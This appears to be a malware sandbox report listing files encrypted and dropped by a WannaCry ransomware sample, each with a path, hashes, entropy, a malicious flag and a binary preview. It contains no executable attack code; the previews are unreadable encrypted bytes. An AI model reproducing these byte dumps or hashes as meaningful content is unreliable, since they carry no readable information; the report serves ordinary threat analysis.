                                    Preview:WANACRY!....N..!..=.v..Q.....tq.....|>'v.........iC.*.f..r3D..#d..6.L.....M....`.2...8Z.D.w.[./.O._.V....U.ls...S\Cd.H.j....f....^./%g..*9.E....$.z+....^.....G......vB.....N}R.^.&........z......=.3O.s........y...s=.5..#..R.s.....KE...\.!.p.../|.Wy.o.......P.......9+.$.b.f.v/....]...n%9.u`......a...y.T.z..@..y.HW..|..ni.Z..,Q....=.;.C.t.z.JH.~..=.mFo...iz......3d.[~..."".m.....u.&..n..M.SBm...l....%L.......T...V .3.)%A..%N._..S...~.16N.......)74..Fx...[x....'.Q....?..}....?...pz$...T..~j.h....>..:."mb1.k9.{.p....C.F.d.MS.c.4N..\..&we..7..tiP@3'.......s....,.....:....Ke.O.h...3..c.W.@'...{....q;.[.j}.......k...L.1....f..W..F|u,5`It...YO..-..1o...K<.&.T~.0A..#.f.d..uOh.7.K.#w4.?.]........SQz.*..iX..%....."..w.d....N.x/"V.y............L..+0.G...)..M..,^,C.l..z...so.../N........e.%&w-e@...|}.........Bw=.a.:..-..e.)......v.o.V.Xy.G...3.n...E.K8W:+?].$2.f.w.JZ..8.j..m....d".b7..~.A....Jl|.... .).Nzo..Pw..B,R..5..(x...-...(/.P.K.9 #x.,...>;.h.+..U%.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652279466572.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):103768
                                    Entropy (8bit):7.99806948856341
                                    Encrypted:true
                                    SSDEEP:3072:bKrKkHJ/hAkor2Po9TR/Xu/6788Fv0q3IIoyeujPB+arnsx:WrKkHJ/hVA2Po9T5F8SM9AjPB+EA
                                    MD5:91FF9A05022475805EEC834CE3F4711B
                                    SHA1:D7EBBF1FC7BD8D2867D97EE05EF1D3C0A96FF640
                                    SHA-256:0FA1D257CA7A95C6AA73B494E9DDAFC530E7362045ED1EFD94A4811939F31908
                                    SHA-512:C756FFDD2CF573B75EF360A3C519897C6C921A7861458895B4DCEC863917C65423F3E8DD964CE525211EA0B754A1EAAD2B408DC44605CD0DEBC4BC4E5ED98EEF
                                    Malicious:true
                                    Preview:WANACRY!....6.W.i1k.:.L.Nt$.*..W.P.%......h8.P...k.~1....}M........B.~...Dr.E.''_..5..S0..jH..U..g..W..V.5]^..9.._..l}.....S).6.?.....(....4.........'.6....@|....5.'.o.HN....G.^x.[R-.>'A.X.z.....'..3}...F...yu...0x9b.^...HQ.).._.6.;...._.[P..\.D..D.1....m3....?........6......w.&sX=Lo}y....E.=........ZF.....,.:.t8.[F.<>M.M.Eg..P..D!..\.....6o':.6TR. _.d7!..0T:.J......q..5_...Yt..%./..8:w%...0(.Y.;....1..4a.~.l+...t..).......b."....d..rj.t.Pj.....z../..b...\....&..........Y.M...X`.@.1w.s._..*9.K...K.....o.[...g1%../.!{...{....#..;.@.......H. %.N..|.i-.Nj.F....1..^.....%T:......:.J..U......,1..{....E.R...[.jmb.].p;U...l.G..@2..&s"....+..........!bo.(G._.We[..|e...=L_...Z........'Ywq.......<J..........*y\.......:V.";..`y.hY..}.s?.S...9~..n.M....d=......[...?..I..d.8.P.a.../e+....c...4B(n...~[w..l]...."...../~5E...v......g)O-3...m..^........y..f\<*...9/.q.V.I..a...p..A.......^.)..... .........w..<..E..a.Up..L..gf.!..YO-^....'8..n.f...Ic.}i.1k

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652308544336.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):102760
                                    Entropy (8bit):7.9982023298364275
                                    Encrypted:true
                                    SSDEEP:3072:6iXD2Rea2jrWGYz5Qef+X8SowS6zUWOj7:5wr2nWtO1StD3
                                    MD5:66C3F56A46B10D97316A9911F9203DA3
                                    SHA1:BEB524660D6B86959F217E91948CAEB97A08C9DD
                                    SHA-256:EB27797E3FF3DD7CC9125A719C4175AB77F619997085C42570E8DD5BDD7A2358
                                    SHA-512:4462C90DC5F5CB0FE5B88917248CB5FF09B79CC6C80C4C0FC1390D4BA6E9E4CA52A36F8C7546F7FA44AF617AD3AC84CEC082CA25F123FCC6EEC150ECED94CC5F
                                    Malicious:true
                                    Preview:WANACRY!..............Y(...uL7.I....I\%..*.S..tG..b..Y4.x.....y.).Eaz.. ....C..v....u..}.k...W.|Gf!.3....E.O._.Q.].x.........h:=A.q4.....i..,kI.".`8.e.V@.PD8.IV.P.<p...;...&..ZG\_Pu..z....T0..q..m~......!.//)6.....i...Z.E.GZ.....B\f.....Q...p....$..........P.......{.n.8l.R)pw.JG.......Gal`Y.@T]..qu.nj.o...'.Y,...5f..g.%..zy;.....m.k..m*/a.........S....~~..cq......k...0Z....%XC<..P..S~H....7...?.`........B..p..Z.....@.....v.J}].........*.....).".Pk...B......4.C.m....y9........e..H.A....b...e.7]...:.{.yR:"N.;.%>]...x.]m.p.v...+.].*...1^.U<_....^..".TG..V.;RL..<......9Tt\..E.@c...S...M....s....5.?4...HY....M...d$./..f.6.."r..X..D].....$j.ZP...e.U.r:@....Ov.r;.`..#:`..p.9.......{..<..TL.tnfdy..]O}.6.@^...z.../.p..D............ ..A[N..54...-. .m.'...O.%..B\.Tx;.qR........c.....h._.HYJ.a.Q...F.%...3..U..%.7.Q<l"..\7....+...rw....nY..ApJ$...yx.N..E.k./....o...kv......ZGy.......R5.b*.....h4...3...X'....[.#...$..5Ub.C,........ .g,O..U.I$a..f

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652528024801.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104104
                                    Entropy (8bit):7.998330318464632
                                    Encrypted:true
                                    SSDEEP:1536:rnqVvs8IqJJHH9mAZzDP4xPfVqYuk2hnEryXLSsZ43/QCWBs+kB3NgUtbEqe4:eeB8Tz0OYu5Er4E3/Qns3xtde4
                                    MD5:387BF3E7640065BBFE0C153B9E505CFE
                                    SHA1:84B0747B4499151DC76CDAD63E0BD702E88F3759
                                    SHA-256:9CD0921AF62DDF78F154335487FAC3ABA71E759A9563800E80EDC31A5F218F33
                                    SHA-512:DFDF9CC4FB38F69D62EFFA54752145B71EFDF8976A28A836966082F6F6CCB97E647E93D20F0CF81B2BB603840558D6DA70C18151E565CD0FEDA9717711F0536C
                                    Malicious:true
                                    Preview:WANACRY!....J..Z@. ..y...^..f=9-..C\&._;...W(g+/7...Q=n|p..Q...D....{.......~.VJ.1.....mt..u'..&._Ao...C.2...........Rm7.. ...*z.......@..vz*{g..@.2..`SZ.&...{.flFae...z.(.....Y..$.......=.hv...s.......:.u..........&.5..>dm...u.....5...t..h..Qy..[.h...y............(c.......Qvh...\......'S".`C.#...\.^.n...wN.q.x.o.*rhb,.-I.'...D.q..cj.S/............,.l....gs:.Z..a..3.....k...#@/>..U/`..ntH....h.....l5...UlMr..w.D....w8.F...fj.n,... ."......H.dc.0vy.wg..........r...!.ku.xr..d.m5^.9...z.[..\.:E........#.9T<..6g.M!.O0I/.m.x3.&....b....$..{6"...-.........*r.+...8..P.HN.....d.0.MO...K.C.?._.........B....t.-G...6.$$,:..o..E_J|..|.......A.Lwi8....+. .;.....W....F..........-.)99(.....6>w..GQ...-....F.j!....{U&.s.3..P..O...s....i #+.).A.....2....G.:..F+./...i.w...f..fO..`.....d{....o4...*....P......,.PWz.Q.K.n.L..n{zL..@,.A..do.cs..n.o...&.p.Y.~6y[.}.s.E........E)l..l}..{..&.i....D*.$........>;3..'`gM)V.......]2D..."..Vaf...S..fn&..|..h..p.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652546374009.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104104
                                    Entropy (8bit):7.998354430147077
                                    Encrypted:true
                                    SSDEEP:3072:feKiTDu3xM5UbSHDaLTTK+F0f9Pjw8/5opttIo8WJyBZr09xnJ:cTyBMaSDwG+F0f9LX5optGd0yZr09xnJ
                                    MD5:63460D5BE6E78953AA07B424BBB135C7
                                    SHA1:FB7630B8D699837B8469AC0D0451B7A776FBCF08
                                    SHA-256:FED9DC56675308DA31C9FACEA689F47B1892427A91B067D2BC77CBAF830CF851
                                    SHA-512:82FA71512FF3129F731306B2897B44F446458DB5B65CF1184575872C99D17A54CCA97C01609F4C8EFBC6E0B5EFD0DF24F04B99AE2C43E3FC417962DB1B0F8ABD
                                    Malicious:true
                                    Preview:WANACRY!....$......f...D.(*..<..r...z[....C}....X..Z.9.Z.!1...7.&.PD.8...%....# N.x..2.X$......1...]Gg...>...Q...m...`..S....D;.....d........2j..1....Z[... .a..;.A....F..\..w....Q/..$..".O .....%....j.S?....8..w.#B6.|....'.....{...Y.w.:l.FB.O&.+."p...........q............_...$.$b...$Y..":.z..c.iU.x.....,..y.W.m.].K..$.;IK.S\l..3.m...~....7.!$[..Rai.cru.<.8]j.._....WBN.....X2T.D.qd..`.UnG1..e1.K..C..E.a...X~+....a(....X..HcA.....".........g..3xA..A...... ..*.c..U%..4<op.R.%...i:...}{...iY..g._..Vuv"(Z..V..K.#.o....F.^{*.0.w..j>.q .b/..1..p...;..q.cx...b..CM.*._l.L:.D<.....u7.8.aw^...`.{.9..:..jZBD.s....G.c.OM..P.F.<`.Z..`7.z..{l.*..)_o(..V..1.!S.2...".3.......S.9(.\..........7D_3b....Q..k...\;........WA.RX>.5v....B.U.......c^n.o.I..{.......,...s~.......hpJ.o.f...cy+.'......G.....N.X..=._.~Y$..mX'.e..Bi...=.m}.Xj...X.P...L........f..w....Nj....f..>;...0.`KN"......8$.g .Y.@?.M...TM]b.>.k.T......>.....x....<tq....?.........!v.%...3.J. zic......+.}-t..

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652624730194.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104104
                                    Entropy (8bit):7.998108967838725
                                    Encrypted:true
                                    SSDEEP:3072:jCfn4YCPIbxI2qS5D8l7+tkAMfrHMrkmvdZIE7H:j8nKP89F+7+3wbukmfIa
                                    MD5:A53284D90836FEA0C00C9354E366DBE9
                                    SHA1:EEACB85495316BABAC5486932392613580EFDC99
                                    SHA-256:B8AD1BC09F73A3CD8F14A052AFE966D2450BD43FE7ABC67E50C394C628B7944B
                                    SHA-512:B4775CB53083D37DBE78D4CADE50EF489B6D6C1039064E98AFDC2475FBD0E33F769059ACEAE19CA3069BADA407F2896509A3B8881EBB760BC53DEBAD9011A2EA
                                    Malicious:true
                                    Preview:WANACRY!....C..v.1.I.~j....y...l..R.*..kyH.8c.....Tt.U..........e..dC.8..x.{Q.a.....2k"_..!.D..$A.f.S.]?...59........v..4wG......-..J.ZnJ...'.O...e.}...I.^...8.Z.$kQ....-...\.-.6X.5.>?....Z>@..<.q+....0 .......Q....x4.....!..2....6.q..z......._.(.....G................c.zt3..!.c..^..9.4K..{m.w. ......6...im<.........K`...A......s(....Tz.$....._6.....&U.c.OJ.L....7.Bw.Ze._.a.uO..1...)...h=4F}_.CJ.....S......"....D_{;^..<.tH.(.k....O.X.Ww\..gA....^3~.n.....&.qv.[.........../...6C......C{H-OO../.^.D6p.O..*.X$.>\.=...r...".U.@o.....$........./..q.Cfy..x...Z...3...hKf. k.lAm...3.iV,......!.K..`.'`...._.!hSHBk.K..=...Z.a.......]R..~......-..O..N..?c...LE..f<.n.j..M.>o.\..fW1..8...Fv.,.....6/c.Y...+...0...c....)W...^.2..}/.Y./...d.......%...G8c......n,Hv........J?Y. . ....G.V....|.y]".*..ul.".L..K.Fw..........Z..&.2.@}G.L{..F{g..,....dk...,.8:....{.....L...|.ct.d.$. m./|'`/!.x&.U.....C..cat.....^..&.j....+..m...Bq........w..(.gd6.9S...%)R..

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652666852676.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104104
                                    Entropy (8bit):7.998193400165027
                                    Encrypted:true
                                    SSDEEP:3072:waj8Ue/xuNHYyQyAm86H+GpLX/ehDWN7k81:ws8fx0QyAmRRpLPehSNYE
                                    MD5:7E2411888197F29A1EA95FF19E8969CF
                                    SHA1:F16412CA1DC411C56C026F295225D6B941C1B940
                                    SHA-256:C3AF9331E247A98FA6BBEBBB2F603DDEF22C799578623D821D25416D03E5C898
                                    SHA-512:82D62EA6FC5ECA47B31D360BBA0AE42DC134BB6133E5668A4A37F67D2A5744DFE9A5650AEB30226BD41D70C958FF61A50965B76230BD3010C2422EC93B48334F
                                    Malicious:true
                                    Preview:WANACRY!.......JC..u+..'..W...o.3.i]..yMaiP.....`5O9qX.za.;.....K;#n[_8.4%<.Sc..=..(.x......1CkI.e9..m.e.....Cjg.{eE .i.X..........D..$.......iM.o.J...3.e...6.I]#......xE...{.4.5dF.T.u....Y...F.S..`...m....>.|4?}49_.H@{ .M.H...i...{4.r\,'./..K..u.a...d....R..............y'..8;|.p.Er!.,4....7o..Q....pHCt.R..&....5._.&..6..>.(....cC.dc.KS{X."........6.1D`..N....e..M... Sx. .y.d.V@..s....Y...`X....?.Z.9..?).;.J7).f.o....I8..,pIwM...`..&Ha....*'E..X...'/..W........-...HG.3...A2..U...!......IxN.....z9&.0Z.j..{./*..x.}...T]D[.h.!rAs.:n.^@...^~ B.7.;........F.;r+.H..@y.sA....5.|@..X....NY.;..Is~r......Z..-~7..I....v....w.......+.......zf.G.r.t..._&U..XL.o.#.....I9.....4..(..=...T..{k.H..?"...I..-..Z..Q_e...H..g..XJ....~d....fTy.b...)%E...L.......X....N...:bV.tz.:..A....M.;z.....f.|.....(..#...Zv...VA's..F...NQ.g.J.].!...@.)UT.......=cb5.H...../....R|Y&.}.0..*...........$.B......2........p....-I.......@..#.?&...Mw...{..Z..r".^Cd..t.....c^~.npJ

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652950926221.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):105080
                                    Entropy (8bit):7.998096778001706
                                    Encrypted:true
                                    SSDEEP:3072:28iaaULgEoCJlFOWHEWTYAiViaIH40N5BhcD:DtaUkI+WO6aILncD
                                    MD5:B072C81BB9F81B132DC05DBA9998A305
                                    SHA1:9F269E502E37D058FB806AD0E953C5E8EB128676
                                    SHA-256:9498CDA275585B6F9B59AC8000E33797256EB64FFFCDAAB74A7DADBF521C0F29
                                    SHA-512:EA8DBF1DC5FCAFEBEEE1F5EC454CDBD6A581261418DBA41496C4B138D0AD499FD6DE4D8DCB72992E871BDBF908715CF5E49FF74A82A76329B0418F4E332F3B83
                                    Malicious:true
                                    Preview:WANACRY!......)..\. F#...m,K.Cb..vDC....n.v.O-!..p.q9..]..O`d...U....&r.z.r../..En..Zr.....;...-.6P.5~..,.|...X..S.(.[.......S...........L..R......o.I.A..E..O..S....0..D6.%L.K]'p...-.i......i...q..'..Fs.#.#o......^....#.....%.g.....E..>o..G..;,`+1...O.......Z..........d.L..0.j..gj...ZQ.(.Ne..B.|....M.9r?|3l+.o....x..0tpt..V.$..d.bq.......k.0S.:. 1s(....E..XS..z.......;.9....>.s....k~;0.f]....7.8.g)..>k..de.{.J&B-. ......>/./....v.[.{].~..T.Nf.......p.t).E0....,..%..?5K....5Cz;.&....hz..P...58{.O.m..Zk....r...m......x....Mx........."....L.(!.Q....js.^..L9-8....2....G(.`...w....7 )."..&.2|N+E....b.zJ.Z...cU^q,.p6....!`.g.+-[.JD.c...6W.d...N5.E.`.._V9.w.....X......E.t...;C~.....E."....r..PBVl....j....%...b......^.......y....S.T.wA0...t'.e.h.E1...-.b.i......3.`...-,[..8p..xL..3.(n.8.y.'<.C.G9.Sm..r1....`.e...r.S.m".D.,,...aeq&.A..C.....Ii.Q~X....`...ffT....l[.lQ....vZ..9FZ..,..f.1.p2..d..i.K....@_.u.oJ.&M%.\..10e..?. .1V.J-....."o.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409653224421742.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):105096
                                    Entropy (8bit):7.9983502124762085
                                    Encrypted:true
                                    SSDEEP:3072:Q4xUSgTH1WOdxZUSrQm0hkKPHQxc0GfZbbp:R3OrUcF0bwc0G1N
                                    MD5:5FAAB54FBDF8FB7BB685815409D5A888
                                    SHA1:9FC7D728A4D3095D4E3A94AF30B892046620779D
                                    SHA-256:0B4AC8D157B114A97E02504798BE825E6C25F5064C1BC4C1E811A0EC991418B5
                                    SHA-512:71FE15A109D90B5740C5BF22E462679B83B826DD31C1B8613E64DB1C09C2BA0E2FECCB81FDC35DDFDF313F1FE28A681A99EE52746F2E866BA8611FCC11CDA7A4
                                    Malicious:true
                                    Preview:WANACRY!.....N.Y. ....7v..K.C.4.9..N..........\..uJ..u...0'.........7..IV..5...i.3.}.@Wm-B...b..F.E..Iw.?............-".x.?X,...i...........g.Q..t2..!@...Z...h..i..n.i1X.....m.!.....').D.*......ea...;.3P..}.K.F..TGC%V..%..b~.8g...&@.N..6h`.j........ftO....l.......$p...~S.R)..84.v1.....-.\.+..Y.f%....,.0....@...r..^....C..^......P....n..l.>+...4...>x.1..ao..bO3> B...I.g.....M.}].UnFK.K...33....A....4V....W...N..........o....nA........K.....-...pD.C.h/...F.3.4s.}.4.&...@...D.c...5'QP...z.....g._We...Li4Sl.0B.....O.2.......e........F.!~...P.n...n.(.... ....:./..Yw....v....K.C,.C....#..A..T......}...i.g..1z.#.@n..~..xfR..Z[....a.u.",..|.{...1..y8..'.....m....I..Y..bV..o.<,..q...2.C..^.b..<...W..oF..0.,.*{.4I.q.k..<.#...V.......>B.q........m...k...66..E.....TQ^..c1...s2.........E..I..C.A..E..... .....K5..B.W...@2.#...f..>%0qA...P...v...w.t..P.G.V..".S...@<.:)HoN...lM........>.......UH...C%G..I..t. ..]...|M%.7..fX...>.Z..e.Dv..=n.Y

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409653524527350.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):110920
                                    Entropy (8bit):7.998315516103196
                                    Encrypted:true
                                    SSDEEP:3072:RCkSJfEx7EIeQAguMUVnkB7ggEX2MBQAcni8r8:zyfg7E5M9ggEma
                                    MD5:AD90016026A41ACE47B6E96269B8E6F9
                                    SHA1:56724326F09FD6DDE42F0B4A36AF83C4546EF0F6
                                    SHA-256:EC04D97C82CD7D6759F6F05D85FFEA44A42CBF57C869DB8BF52A2FF75699AABE
                                    SHA-512:7A7A01AEB60C4F38A98F298AC36FF72FD684F2FEDD165FDFE5E6C958E7734A6E2CD8F695BAF5541E2392DE3551FC61E5CD53A92BAE04EAC573BA3882E65CC981
                                    Malicious:true
                                    Preview:WANACRY!..........\!.G.j.p..\:3._..U.*.6h.O..."f).|"..waF....o0\....;...93g.. .....w"....).Ic.IW.XG.`gw..5.~./.-..w#....b.o..{.<o...s3..uJ.....0?..i..A\AdY.,...D~'s$}GP..e....]/...Zd.b.o'..HkeS...........>....!$_....?.+a.X..[..c-c.O.^G..C.....=mK.....y.}.X......,..............']&B3.gfV0/WL..{.9ik.}T... c..h.T......O....9ZS.5.9.J.M.3.CG-...q.;l.h....Z.......n+,c.........O....*......|...._*....~Y.J/a ..B..Jg}...P_.-o..0=..F..d......[..VJ..S..I..'.Fy.<V....`.C.bZ.[...xG.!V.Q....K....vD2.0a*qT-2..{....~.>If..j].D:;..Gg4|..#.l~.=.n..b ..[O..b.A..QI...k..YQ...;m.F}..x....\..V...|e@Y.x..yF......qOK...O....._..l.#.#;.[...<.7_....(.........3z..f..m"....c.L96B`'.+.."...~..%.d0..^.8)8.>...W....@.;F.6S.>......w..VG|........Sp..&...Y....Y7"...B...W.1..I._a#....@U.a.....h_...&..j6.s}C..s..,.x.x...^.ygIX.....R...B5.Rn...#.o...\O..j.Ho.P.@.b...O..t..#..y1.L.ay.......+..+M..y..I..Z...,Z-.....^.F..-X#Wkr..<.q4..7.Y%.E..e.`..=.t.pB.H....N.....v.......uxe... ....Y.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409655232786058.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):123512
                                    Entropy (8bit):7.998496391451271
                                    Encrypted:true
                                    SSDEEP:3072:PrcJ4yyLVvZ+QgWd7QJ7nNdTtURjQbZCXrMhRtapss3:PDvZ+QgiedTtUO1busO
                                    MD5:360536CDA09C91493C511A35F19BDD1C
                                    SHA1:4208A014752B449F36DAF0341123D8042AEFEB43
                                    SHA-256:B61F5887CDCFB078EFC1EBBB0432601956A6116DC188E921B94EFF64DA848EC3
                                    SHA-512:12C3247ECF95552925CAC47E6D7538952388FB1E9210324686048112EDE8435DBAD38AC7A4B6F6E9CD9F270AEF797CB5C80B838CCF52F53573DD45BE949268A2
                                    Malicious:true
                                    Preview:WANACRY!.......n...T..%Jp.\.E.._Yh5...X.........z..#..9M........l..........1x.J...l2. ..V...#"}.x.d...3...=TR....1J.Q...U..&]fg.B'.<....^3..yS..NKj.e.c%.$.>....Q .0..S."zK\....d...T.W....VXn.2.?,w.&.pC...sR....+=.......<S....(.=S.h..y;.Ws5..=.*.XP.%...;.......Y........5..../\.f..N.b...e.'..d".U...F.....d...U......7.B...x..w{.......Abe3H.\z..f4#.!..c...+Z.QS..k.yN....8P...MQ..:...E#...q.a.......&y...Q"F.0n.&S.e.."...f8...1..&."9...IWQ.^.Z....k;...w....tk....O/....9.&9..&.s=G..a9.I..............0..].'...y5...*sc.......Js....&.]....-~aWC.....Z^.T..]....F.K.w..V....,..m........!4H......a.3...7k.?....t.C..#.../..Sg.S_N=.j.%./.I;..O..?.k..Y.y...^.t..}3T.......94.w....ic...^`UI.!..&..y......u....{S..;g..Va...y.....bL.2.../s |...V2&k...._.<.>...f.G.0 ..N3...gj...5.F....7A.!.k.....I..).hv.#p.hl....!.s3v).s6!...7l.'....c..`......J../.]?.2.C..0Mo..S1..%[y...t^.(.....Ve..........0...Nb.B.Kz.b...;9~...'%.]..f....K..B!.e.e%.I.N.s..i.....P......@.3...

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409656564963692.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):123512
                                    Entropy (8bit):7.998694279902714
                                    Encrypted:true
                                    SSDEEP:3072:N+PSt8P6G73dVBYy9ICtdR5g9/nEwo0/zIR1zLUkev6KKISuMwOBs:N+PS46GpYRK29sn7R9hL9sD
                                    MD5:47426D7F8858F111033C7E443D856E64
                                    SHA1:F6614481D8B6493714D0C471E46E7B2FDE748B61
                                    SHA-256:61E9F478F5D4298897524ECD6ACCD50B53DD1AF07BDB8200F6F7ABE3BE816CB7
                                    SHA-512:EADCD6A24D5F0D5FCDE30BBE2C7D71EB2D6892C6F15E57201444434B811BA2D92F0D876BB75174B9216069790619C13FA45191A115AF685930445435917469F9
                                    Malicious:true
                                    Preview:WANACRY!....L..6.@u....h6.?.z|..I......8...J......'..b..*...$9.n..A.7..:p..lf.[Q..a]kgn67.80.t.O..u.8.w..O.0.g...JD....9W.6.A%..$...Q{........1..~...Wf.G^..2...c..'B.Kr.4)....:..Yt....C"-...;n...8.../...@/84..O........%....i[va.u=b!..R..Z..f..{.<.d.o. P....Z.......rQ\%!......w........+...8......[.."......... .gc....p..B`..qt......[w-(..5...M..........U.....x..V"8e.#.!J~..[2.:0.....cc..N..6.:0.]Pzt.g.....J.....Q....*dI..........lD.......xH..8D...){RB._7.....k..GIJ.0..pz..`.j.=S.......F.9J.......-S(_.'z.I..^_...r.N.5..CI".}a..AD`/.yQz...<^E.~.6..+..d......?.HUO........m..@U.A.Z0..1.\.w....t.X......t.......F.w.ND.Ee.s6k.l..z...d'<.Yq......n....t*.Tx<<x#...PwXh...l..~.ze.*c.x...4>......l........./....c....\Ruc*@]...9xA....P.A ..Q...vO.......j./9{.....C+^._...n..<.D.*!]...vv..t7....,.&..U..pv..`.._.Z...}.0.'.mB..!.R.Jv.4...s.U.s....?.N..AN...q-..=.x.......5c.I{BJ...\.Jq/DsN..WH.o)+.MC.4...E6#.....?.4x.fp.....m(.........J.k..*.W.M..D.s!.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409657271224821.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):123528
                                    Entropy (8bit):7.998382226035542
                                    Encrypted:true
                                    SSDEEP:3072:ZKfDA+edZ1d/b9XR6iX0a49r6kKzY88RN6fxrAo5K:ZKedZ1d/b9XYo0a49ruzfG6xA4K
                                    MD5:AEC0ECBAA3E94AC32BFD26DB7D49D9E3
                                    SHA1:8AFAD5D7A97E19C6F2362B177BE5CA172D72F08C
                                    SHA-256:18E642748351359E48D44C5294ACFF5E9EB3014D3A69E5658E156F255DA1E091
                                    SHA-512:A11A4B8B12EC202B61DC36A43821B011ADA74294BA94DAFF4257B7267831F7B77BCB4AF65C124078C8727B2499CC28D7ED0F56B2AC01E76AA850B34BBFC41EF2
                                    Malicious:true
                                    Preview:WANACRY!.....:...^....h%.4...m.=..:.....[%A.....79..7.[.....BC.....V)v.........w.a<.s..W.9{.R..8/.}........O_...KZ;...%9.k.O.7.-..H.-.;<.].d.(..0..uZ.....FN<...#._.D.W........+/..OA...h....4.VQ(.[.U.2..{I.K.J.....ey.<P.N.......D....Z.. .y2.o.....u.p....l........y.+.:.{.a4.W}....y.....8.Qo...E"..6..:...Q7#...{.....1qL.p..9..|`%. ..L..@te...c..7..^....1;.&`F..+.Me....=dw.r{z..}..).......D.V3.&0..H......@.o.,.X.. .z..3s".o.LX.Z6.0R}..x.....V7.4(.!..F.W.gj&...~Q...~.].4"..'Z....6xa..n.K^z.MU..;..r.'...g_.F.$/K..\...N><{O..Y..u.....3..=..(.%..D.82y....$.....mThCM....Lo.`..-.W.....=.rN....#..+i?].Q../....*..g.|.K..gJNH.....5j....'.V....../.....G.>....&.NY..ST........k4{..~..=H.+..G#.Eb.p2.h.!..?...Y.R;!.:...R.JK....L.w:~D..F..D.|,...h..l{.:>..0(.V_.l......`..9._%...)./..q..H..BF..;.U........jQ....L.....t.X...v..o..b).x..JW..1{k.-......w#.U..[&.*.8.,.,|..z..t..........s.nb..z\a.[.........u.B....e....S.A\y.BM6...G.M6....JRC..T.......+.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658240427405.txt.WNCRY (copy)

